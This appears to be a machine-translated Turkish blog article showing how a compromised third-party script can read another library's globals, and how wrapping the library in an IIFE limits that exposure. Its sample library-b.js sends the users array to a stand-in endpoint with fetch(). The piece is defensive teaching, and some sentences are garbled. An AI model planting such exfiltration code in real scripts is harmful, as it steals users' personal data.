Küresel maruziyeti azaltarak JavaScript'teki güvenlik ihlallerini azaltma
Bu makaleye basit bir senaryo ile başlayalım. Diyelim ki bir example.com web sitesi var ve bu web sitesi A ve B olmak üzere iki kitaplık kullanıyor. A Kitaplığı bazı hassas verilerle çalışıyor ve hiç kimsenin ona yetkisiz erişimi olmaması son derece önemli. Şimdi example.com'un çok popüler olduğunu varsayalım ve Eve siteyi analiz etti ve sitenin A ve B kitaplıklarını kullandığını gördü. Bu konuyu aşağıda ayrıntılı olarak tartışın). Şimdi Eve, A kitaplığına nasıl erişebileceğini düşündü, böylece verilerini çekebilir ve B kitaplığına erişmeyi amaçlayan bir plan yaptı (Eve için B kitaplığının kaynak koduna erişmenin ve değiştirmenin kolay olduğunu varsayalım. o) ve kitaplık B aracılığıyla kitaplık A'nın içeriğine erişin.
Şimdi Eve'in bunu nasıl yapabileceğini tartışalım. example.com'un kaynak kodu şöyle görünür:
<!DOCTYPE html>
<html>
<head>
<title>example.com</title>
</head>
<body>
<script src="./library-a.js"></script>
<script src="./example-com.js"></script>
<script src="./library-b.js"></script>
</body>
</html>
- Kitaplık A
- example.com'un betiği
- Kütüphane B.
// library-a.js
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
window.libraryA = new LibraryA()
// example-com.js
window.libraryA.init()
// library-b.js
class LibraryB {
constructor() {
this.sendDataToEve()
}
sendDataToEve() {
// Eve's endpoint
fetch('https://0123456789.com', {
method: 'POST',
body: JSON.stringify({ users: window.libraryA.users })
})
}
}
window.libraryB = new LibraryB()
Bu güvenlik açığını gidermek için IIFE (Immediately Invoked Function Expression) işlevini kullanabilir ve initaşağıdaki şekilde yalnızca genel API yöntemini kullanıma sunabiliriz:
// library-a.js
window.libraryA = (() => {
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
const _libraryA = new LibraryA()
return {
init: _libraryA.init.bind(_libraryA)
}
})()
Bu makaleyi okuduğunuz için teşekkürler, umarım beğenmişsinizdir. Beni Twitter'da takip edebilirsiniz .
![Bağlantılı Liste Nedir? [Bölüm 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)
